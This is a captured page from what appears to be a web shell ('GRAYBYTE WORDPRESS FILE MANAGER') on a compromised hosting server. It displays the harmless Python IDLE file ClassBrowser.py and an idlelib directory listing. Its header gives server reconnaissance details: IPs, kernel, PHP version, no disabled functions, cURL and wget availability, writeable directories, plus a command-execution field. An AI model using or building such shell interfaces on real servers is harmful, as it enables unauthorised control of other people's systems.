GRAYBYTE WORDPRESS FILE MANAGER7009

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python33/lib64/python3.3/idlelib/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python33/lib64/python3.3/idlelib//ClassBrowser.py
"""Class browser.

XXX TO DO:

- reparse when source changed (maybe just a button would be OK?)
    (or recheck on window popup)
- add popup menu with more options (e.g. doc strings, base classes, imports)
- show function argument list? (have to do pattern matching on source)
- should the classes and methods lists also be in the module's menu bar?
- add base classes to class browser tree
"""

import os
import sys
import pyclbr

from idlelib import PyShell
from idlelib.WindowList import ListedToplevel
from idlelib.TreeWidget import TreeNode, TreeItem, ScrolledCanvas
from idlelib.configHandler import idleConf

class ClassBrowser:

    def __init__(self, flist, name, path):
        # XXX This API should change, if the file doesn't end in ".py"
        # XXX the code here is bogus!
        self.name = name
        self.file = os.path.join(path[0], self.name + ".py")
        self.init(flist)

    def close(self, event=None):
        self.top.destroy()
        self.node.destroy()

    def init(self, flist):
        self.flist = flist
        # reset pyclbr
        pyclbr._modules.clear()
        # create top
        self.top = top = ListedToplevel(flist.root)
        top.protocol("WM_DELETE_WINDOW", self.close)
        top.bind("<Escape>", self.close)
        self.settitle()
        top.focus_set()
        # create scrolled canvas
        theme = idleConf.GetOption('main','Theme','name')
        background = idleConf.GetHighlight(theme, 'normal')['background']
        sc = ScrolledCanvas(top, bg=background, highlightthickness=0, takefocus=1)
        sc.frame.pack(expand=1, fill="both")
        item = self.rootnode()
        self.node = node = TreeNode(sc.canvas, None, item)
        node.update()
        node.expand()

    def settitle(self):
        self.top.wm_title("Class Browser - " + self.name)
        self.top.wm_iconname("Class Browser")

    def rootnode(self):
        return ModuleBrowserTreeItem(self.file)

class ModuleBrowserTreeItem(TreeItem):

    def __init__(self, file):
        self.file = file

    def GetText(self):
        return os.path.basename(self.file)

    def GetIconName(self):
        return "python"

    def GetSubList(self):
        sublist = []
        for name in self.listclasses():
            item = ClassBrowserTreeItem(name, self.classes, self.file)
            sublist.append(item)
        return sublist

    def OnDoubleClick(self):
        if os.path.normcase(self.file[-3:]) != ".py":
            return
        if not os.path.exists(self.file):
            return
        PyShell.flist.open(self.file)

    def IsExpandable(self):
        return os.path.normcase(self.file[-3:]) == ".py"

    def listclasses(self):
        dir, file = os.path.split(self.file)
        name, ext = os.path.splitext(file)
        if os.path.normcase(ext) != ".py":
            return []
        try:
            dict = pyclbr.readmodule_ex(name, [dir] + sys.path)
        except ImportError as msg:
            return []
        items = []
        self.classes = {}
        for key, cl in dict.items():
            if cl.module == name:
                s = key
                if hasattr(cl, 'super') and cl.super:
                    supers = []
                    for sup in cl.super:
                        if type(sup) is type(''):
                            sname = sup
                        else:
                            sname = sup.name
                            if sup.module != cl.module:
                                sname = "%s.%s" % (sup.module, sname)
                        supers.append(sname)
                    s = s + "(%s)" % ", ".join(supers)
                items.append((cl.lineno, s))
                self.classes[s] = cl
        items.sort()
        list = []
        for item, s in items:
            list.append(s)
        return list

class ClassBrowserTreeItem(TreeItem):

    def __init__(self, name, classes, file):
        self.name = name
        self.classes = classes
        self.file = file
        try:
            self.cl = self.classes[self.name]
        except (IndexError, KeyError):
            self.cl = None
        self.isfunction = isinstance(self.cl, pyclbr.Function)

    def GetText(self):
        if self.isfunction:
            return "def " + self.name + "(...)"
        else:
            return "class " + self.name

    def GetIconName(self):
        if self.isfunction:
            return "python"
        else:
            return "folder"

    def IsExpandable(self):
        if self.cl:
            try:
                return not not self.cl.methods
            except AttributeError:
                return False

    def GetSubList(self):
        if not self.cl:
            return []
        sublist = []
        for name in self.listmethods():
            item = MethodBrowserTreeItem(name, self.cl, self.file)
            sublist.append(item)
        return sublist

    def OnDoubleClick(self):
        if not os.path.exists(self.file):
            return
        edit = PyShell.flist.open(self.file)
        if hasattr(self.cl, 'lineno'):
            lineno = self.cl.lineno
            edit.gotoline(lineno)

    def listmethods(self):
        if not self.cl:
            return []
        items = []
        for name, lineno in self.cl.methods.items():
            items.append((lineno, name))
        items.sort()
        list = []
        for item, name in items:
            list.append(name)
        return list

class MethodBrowserTreeItem(TreeItem):

    def __init__(self, name, cl, file):
        self.name = name
        self.cl = cl
        self.file = file

    def GetText(self):
        return "def " + self.name + "(...)"

    def GetIconName(self):
        return "python" # XXX

    def IsExpandable(self):
        return 0

    def OnDoubleClick(self):
        if not os.path.exists(self.file):
            return
        edit = PyShell.flist.open(self.file)
        edit.gotoline(self.cl.methods[self.name])

def main():
    try:
        file = __file__
    except NameError:
        file = sys.argv[0]
        if sys.argv[1:]:
            file = sys.argv[1]
        else:
            file = sys.argv[0]
    dir, file = os.path.split(file)
    name = os.path.splitext(file)[0]
    ClassBrowser(PyShell.flist, name, [dir])
    if sys.stdin is sys.__stdin__:
        mainloop()

if __name__ == "__main__":
    main()

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 20 2024 08:31:19
root / linksafe
0755
Icons
--
May 20 2024 08:31:19
root / linksafe
0755
__pycache__
--
May 20 2024 08:31:19
root / linksafe
0755
idle_test
--
May 20 2024 08:31:19
root / linksafe
0755
AutoComplete.py
8.869 KB
April 17 2024 16:58:17
root / linksafe
0644
AutoCompleteWindow.py
17.258 KB
April 17 2024 16:58:17
root / linksafe
0644
AutoExpand.py
2.425 KB
April 17 2024 16:58:17
root / linksafe
0644
Bindings.py
3.354 KB
April 17 2024 16:58:17
root / linksafe
0644
CREDITS.txt
1.821 KB
September 19 2017 07:32:02
root / linksafe
0644
CallTipWindow.py
5.761 KB
April 17 2024 16:58:17
root / linksafe
0644
CallTips.py
5.793 KB
April 17 2024 16:58:17
root / linksafe
0644
ChangeLog
55.071 KB
September 19 2017 07:32:02
root / linksafe
0644
ClassBrowser.py
6.222 KB
April 17 2024 16:58:17
root / linksafe
0644
CodeContext.py
8.157 KB
April 17 2024 16:58:17
root / linksafe
0644
ColorDelegator.py
10.222 KB
April 17 2024 16:58:17
root / linksafe
0644
Debugger.py
15.983 KB
April 17 2024 16:58:17
root / linksafe
0644
Delegator.py
0.649 KB
April 17 2024 16:58:17
root / linksafe
0644
EditorWindow.py
64.753 KB
April 17 2024 16:58:17
root / linksafe
0644
FileList.py
3.725 KB
April 17 2024 16:58:17
root / linksafe
0644
FormatParagraph.py
6.998 KB
April 17 2024 16:58:17
root / linksafe
0644
GrepDialog.py
4.015 KB
April 17 2024 16:58:17
root / linksafe
0644
HISTORY.txt
10.075 KB
September 19 2017 07:32:02
root / linksafe
0644
HyperParser.py
10.314 KB
April 17 2024 16:58:17
root / linksafe
0644
IOBinding.py
19.396 KB
April 17 2024 16:58:17
root / linksafe
0644
IdleHistory.py
4.021 KB
April 17 2024 16:58:17
root / linksafe
0644
MultiCall.py
17.118 KB
April 17 2024 16:58:17
root / linksafe
0644
MultiStatusBar.py
0.765 KB
April 17 2024 16:58:17
root / linksafe
0644
NEWS.txt
33.61 KB
September 19 2017 07:32:02
root / linksafe
0644
ObjectBrowser.py
3.661 KB
April 17 2024 16:58:17
root / linksafe
0644
OutputWindow.py
4.291 KB
April 17 2024 16:58:17
root / linksafe
0644
ParenMatch.py
6.472 KB
April 17 2024 16:58:17
root / linksafe
0644
PathBrowser.py
2.811 KB
April 17 2024 16:58:17
root / linksafe
0644
Percolator.py
2.596 KB
April 17 2024 16:58:17
root / linksafe
0644
PyParse.py
18.959 KB
April 17 2024 16:58:17
root / linksafe
0644
PyShell.py
56.521 KB
April 17 2024 16:58:17
root / linksafe
0755
README.txt
2.443 KB
September 19 2017 07:32:02
root / linksafe
0644
RemoteDebugger.py
11.747 KB
April 17 2024 16:58:17
root / linksafe
0644
RemoteObjectBrowser.py
0.941 KB
April 17 2024 16:58:17
root / linksafe
0644
ReplaceDialog.py
5.692 KB
April 17 2024 16:58:17
root / linksafe
0644
RstripExtension.py
1.025 KB
April 17 2024 16:58:17
root / linksafe
0644
ScriptBinding.py
7.88 KB
April 17 2024 16:58:17
root / linksafe
0644
ScrolledList.py
3.903 KB
April 17 2024 16:58:17
root / linksafe
0644
SearchDialog.py
1.969 KB
April 17 2024 16:58:17
root / linksafe
0644
SearchDialogBase.py
5.063 KB
April 17 2024 16:58:17
root / linksafe
0644
SearchEngine.py
7.367 KB
April 17 2024 16:58:17
root / linksafe
0644
StackViewer.py
3.483 KB
April 17 2024 16:58:17
root / linksafe
0644
TODO.txt
8.279 KB
September 19 2017 07:32:02
root / linksafe
0644
ToolTip.py
2.672 KB
April 17 2024 16:58:17
root / linksafe
0644
TreeWidget.py
14.863 KB
April 17 2024 16:58:17
root / linksafe
0644
UndoDelegator.py
10.063 KB
April 17 2024 16:58:17
root / linksafe
0644
WidgetRedirector.py
4.372 KB
April 17 2024 16:58:17
root / linksafe
0644
WindowList.py
2.414 KB
April 17 2024 16:58:17
root / linksafe
0644
ZoomHeight.py
1.276 KB
April 17 2024 16:58:17
root / linksafe
0644
__init__.py
0.036 KB
April 17 2024 16:58:17
root / linksafe
0644
__main__.py
0.106 KB
April 17 2024 16:58:17
root / linksafe
0644
aboutDialog.py
6.421 KB
April 17 2024 16:58:17
root / linksafe
0644
config-extensions.def
2.723 KB
September 19 2017 07:32:02
root / linksafe
0644
config-highlight.def
1.699 KB
September 19 2017 07:32:02
root / linksafe
0644
config-keys.def
7.348 KB
September 19 2017 07:32:02
root / linksafe
0644
config-main.def
2.455 KB
September 19 2017 07:32:02
root / linksafe
0644
configDialog.py
51.611 KB
April 17 2024 16:58:17
root / linksafe
0644
configHandler.py
28.636 KB
April 17 2024 16:58:17
root / linksafe
0644
configHelpSourceEdit.py
6.567 KB
April 17 2024 16:58:17
root / linksafe
0644
configSectionNameDialog.py
4.213 KB
April 17 2024 16:58:17
root / linksafe
0644
dynOptionMenuWidget.py
1.277 KB
April 17 2024 16:58:17
root / linksafe
0644
extend.txt
3.557 KB
September 19 2017 07:32:02
root / linksafe
0644
help.txt
11.713 KB
September 19 2017 07:32:02
root / linksafe
0644
idle.py
0.391 KB
April 17 2024 16:58:17
root / linksafe
0644
idle.pyw
0.655 KB
September 19 2017 07:32:02
root / linksafe
0644
idlever.py
0.022 KB
April 17 2024 16:58:17
root / linksafe
0644
keybindingDialog.py
12.136 KB
April 17 2024 16:58:17
root / linksafe
0644
macosxSupport.py
7.004 KB
April 17 2024 16:58:17
root / linksafe
0644
rpc.py
20.462 KB
April 17 2024 16:58:17
root / linksafe
0644
run.py
13.373 KB
April 17 2024 16:58:17
root / linksafe
0644
tabbedpages.py
17.741 KB
April 17 2024 16:58:17
root / linksafe
0644
textView.py
3.462 KB
April 17 2024 16:58:17
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF